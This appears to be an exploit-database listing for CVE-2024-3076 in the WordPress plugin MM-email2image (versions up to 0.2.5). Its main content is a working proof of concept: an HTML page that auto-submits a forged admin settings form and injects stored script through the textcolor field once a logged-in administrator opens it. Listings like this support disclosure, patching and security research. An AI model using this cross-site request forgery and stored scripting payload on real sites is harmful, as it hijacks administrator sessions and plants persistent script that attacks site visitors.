Exploit for MM-email2image <= 0.2.5 - Stored XSS via CSRF CVE-2024-3076

Name: Exploit for MM-email2image <= 0.2.5 - Stored XSS via CSRF CVE-2024-3076
Rating: 5 (45 reviews)

2024-04-05 | CVSS 9.0

## https://sploitus.com/exploit?id=WPEX-ID:617EC2E9-9058-4A93-8AD4-7ECB85107141
Make a logged in admin open a file containing the HTML:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=mm-email2image%2Fmm-email2image.php" method="post">
        <input type="hidden" name="mm_e2i_submit" value="Y" />
        <input type="hidden" name="mm_e2i_type" value="none" />
        <input type="hidden" name="mm_e2i_textcolor" value='"><script>alert(2)</script>' />
        <input type="hidden" name="mm_e2i_bgcolor" value="32" />
        <input type="hidden" name="mm_e2i_bgtrans" value="YES" />
        <input type="hidden" name="mm_e2i_textsize" value="2" />
        <input type="submit" value="Submit" />
    </form>
</body>
```